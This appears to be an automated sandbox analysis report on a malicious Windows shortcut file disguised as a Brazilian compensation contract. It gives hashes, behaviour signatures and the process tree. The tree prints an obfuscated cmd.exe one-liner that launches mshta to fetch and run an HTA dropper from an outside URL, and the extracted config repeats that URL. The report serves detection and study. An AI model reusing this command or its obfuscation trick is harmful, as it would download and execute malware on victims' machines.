Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 12:43
Static task
static1
Behavioral task
behavioral1
Sample
Contrato_Indeniza_Brasil-WQEA8C.lnk
Resource
win10v2004-20260513-en
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
Contrato_Indeniza_Brasil-WQEA8C.lnk
Resource
win11ltsc2024-20260709-en
4 signatures
150 seconds
General
- Target Contrato_Indeniza_Brasil-WQEA8C.lnk
- Size 1KB
- Sample260803-pyebgabk3y
- SHA256 c02dd6d0c0a39e43808fb5ec766d551d7e581d35fa072259436a2f5fffece123
- MD5 9a4dc165ff610284eb95f3b56d36d639
- SHA1 cc3361b65f73026b2edf505a148c9da69f54cbfb
- SHA512 0aa04b414448ffec07c20905448c15f2701f93aad8a5e38d28ed7ff9345ab63360b41eb0a182a21f39c51a2f2fb740dfc8fa0c6c29e67c679313cd2f0dfed261
- TLSH T1453197002AFD0654F2F3DE7786BB6B1099BBF8A68E20C61D4080464C1422A15E67BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 2996 mshta.exe 7 2996 mshta.exe 8 2996 mshta.exe 9 2996 mshta.exe 10 2996 mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4848 cmd.exe 5972 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4848 wrote to memory of 5972 4848 cmd.exe 90 PID 5972 wrote to memory of 2996 5972 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-WQEA8C.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4848 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set AiAj=msh&&set FTK=ta&&start "" !AiAj!!FTK! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5972 -
C:\Windows\System32\mshta.exemshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D3⤵
- Badlisted process makes network request
PID:2996
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